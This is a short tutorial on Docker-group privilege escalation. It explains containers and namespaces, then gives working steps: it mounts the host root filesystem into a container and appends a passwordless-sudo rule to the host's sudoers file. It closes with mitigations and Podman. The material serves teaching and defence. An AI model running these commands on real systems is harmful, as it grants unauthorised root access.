Using Docker for Privilige Escalation

Inspired by John Hammond's Docker - PRIVILEGE ESCALATION Technique

What is Docker?

> Docker is a set of platform as a service (PaaS) products that use OS-level virtualization to deliver software in packages called **containers**.

- Essentially, Docker is a tool that allows you to build, deploy, and manage **containers**.
- By default, Docker manages **containers** as **root**.

What is a Container?

> A container is a standard unit of software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another.

- Containers are lightweight, portable, and **isolated**.

How does it work?

> Docker makes use of kernel ***namespaces*** to provide the isolated workspace called the container. When you run a container, Docker creates a set of ***namespaces*** for that container. These ***namespaces*** provide a layer of isolation. Each aspect of a container runs in a separate namespace and its access is limited to that namespace.

Namespaces

Docker Engine uses the following namespaces on Linux:

- `PID` namespace for process isolation.
- `NET` namespace for managing network interfaces.
- `IPC` namespace for managing access to IPC resources.
- **`MNT`** namespace for managing filesystem mount points.
- `UTS` namespace for isolating kernel and version identifiers and hostnames.
- **`USER`** namespace for user and group identity.
- `CGROUP` namespace for managing cgroup hierarchies.

Setup: Software

- Docker Engine

Setup: Users and Groups

Users

- `root` - root user
- `user` - unprivileged user in the `docker` group

Groups

- `docker` - group for users to run docker commands

Creating the container image

```
FROM ubuntu

WORKDIR /exploit
```

Run the following command to build the image:

```
docker build -t exploit .
```

Running the container

```
docker run --rm -it -v /:/exploit exploit
```

Escalating Privileges

```
echo "user ALL=(ALL) NOPASSWD: ALL" >> etc/sudoers
```

What can we do to prevent this?

- Don't add users to the `docker` group.
- Don't run containers as root.

What is Podman?

> Podman is a **daemonless** container engine for developing, managing, and running OCI Containers on your Linux System. Containers can either be run as root or in **rootless** mode.

- Podman is a **drop-in replacement** for Docker.
- Can be used to run containers as a **non-root** user.

podman

Resources

- Get Started with Docker
- Getting Started with Podman
- Get Docker
- Docker playground
- Use the Docker command line

Container Images used

- ubuntu